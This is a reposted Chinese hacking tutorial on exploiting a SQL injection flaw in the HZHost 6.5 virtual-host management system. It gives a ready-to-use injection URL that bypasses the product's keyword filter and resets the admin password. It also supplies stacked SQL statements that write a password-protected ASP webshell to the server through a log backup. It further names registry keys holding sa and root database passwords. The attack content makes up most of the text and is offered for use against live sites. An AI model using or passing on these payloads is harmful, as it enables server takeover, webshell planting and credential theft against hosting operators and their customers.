华众6.5虚拟主机管理系统SQL注入漏…

发布时间:2016-12-11 18:09:32 编辑:www.fx114.net 分享查询网我要评论
本篇文章主要介绍了"华众6.5虚拟主机管理系统SQL注入漏…",主要涉及到华众6.5虚拟主机管理系统SQL注入漏…方面的内容,对于华众6.5虚拟主机管理系统SQL注入漏…感兴趣的同学可以参考一下。

华众6.5虚拟主机管理系统SQL注入漏洞利用 本篇文章来源于 黑基网-中国最大的网络安全站点 原文链接:http://www.hackbase.com/tech/2012-01-17/65830.html   只讲两个要点。    第一,如何拿网站管理员权限。    第二,如何备份木马。    这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。 漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!    引用:    -------------------------13-15行----------------------------    querytype=SafeRequest("querytype") //saferequest函数接受数据    if chk_int(querytype)=false then //检查是否是整数      ErrMsg="对不起,非法操作!..."    -------------------------37-42行---------------------------    elseif querytype=5 then //如果类型为5。就接受qu1数据!    qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!      if qu1="" then //不能为空           call errorpage(-2,"对不起,请选择参数!")    end if               qstring=" and s_regstt="&qu1&" " //这里是关键 qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!    -------------------------62-65行---------------------------    qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据    if qu7<>"" then    qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。 这里被包围了,所以这里成了死点!!    end if    --------------------------117行-----------------------------    query="select * from v_ot2lst where (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&" order by "&orderstring    //到这里就丢进去查询了!    来看看saferequest()函数。    引用:    ------------------incs/config.asp中-------------------------    Function SafeRequest(ParaName)    Dim ParaValue    ParaValue=Request(ParaName) //获取数据    if IsNumeric(ParaValue) then //如果是数字    SafeRequest=ParaValue //那就不过滤,直接赋值    exit Function    else    ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写    tempvalue="select |insert |delete from|'|count(|drop table|update |truncate |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and | from"    //定义要过滤的字符!    他过滤方式有问题。。。没有过滤 * / % / -- / ;    而且他过滤的都是select+空格。我们用select 或者select便能饶过。    temps=split(tempvalue,"|")           //转为一维数组    for mycount=0 to ubound(temps)       //循环读数组内数据    if Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。                   call errorpage(-2,"非法请求!!!") //如果有则弹出提示!!                   response.end    end if    next    SafeRequest=ParaValue    end if    End function    -------------------------------------    所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用 (tab)..仔细看清楚。上面过滤的是update+空格。select+空格。    先给出查询语句的框架。    引用:    select * from v_ot2lst where (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc    为了使语句顺利执行:    我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。    这里我给出条示范语句,即{我们的语句}    引用:    UPDATE [memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E    这条语句能够绕过saferequest函数的检测。没有出现单引号。    我们提交:    引用: http://www.xxxxxx.com/control/ot2_mng/ot2_lst.asp?querytype=5&qu7=1&ordernum=32&qu1=1;UPDATE [memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select * from v_ot2lst where s_regstt=1;select * from v_ot2lst where s_regstt=1    这句话就能够将admin的密码修改成123456    到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。    第二步是要备份挂马。    大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(    导致备马的这条语句失败。    引用:    declare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。    有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。    由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成 成为 varchar (4000),也是可以的。这样我们就饶过了char(    接下来放出详细语句。大家放入{我们的语句中}    引用:    第 一 步:    create table [dbo].[shit_tmp] ([cmd] [image])--    第 二 步    declare @a sysname,@s>2005C0031002E00610073007000 backup log @a to disk=@s--    第 五 步    Drop table [shit_tmp]--    上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。    一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。    请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》    最后是答疑部分:    1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。    2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500    这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:    0x6531306164633339343962613539616262653536653035376632306638383365    大家仔细观察,会发现,其实只是去掉了一些00。。    所以大家在转换其他md5的时候,注意此问题。    3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。    另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。    4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。    有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。    5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。    6::    引用:    sa密码。root密码。    HKEY_LOCAL_MACHINE\software\hzhost\config\settings\    mysqlpass---root密码    mssqlpss----sa密码    7.如果路径不在D:/hzhost    那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。    或者去读注册表。    HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下    "wwwrootpath"="e:\\wwwroot"    "urlsiteroot"="D:\\hzhost\\hzhost_url"    "ftprootpath"="e:\\ftproot"   可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)    大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路! 本篇文章来源于 黑基网-中国最大的网络安全站点 原文链接:http://www.hackbase.com/tech/2012-01-17/65830.html

上一篇:ASP上传图片代码例子
下一篇:VMware workstation 10下安装macOS mountain lion

相关文章

相关评论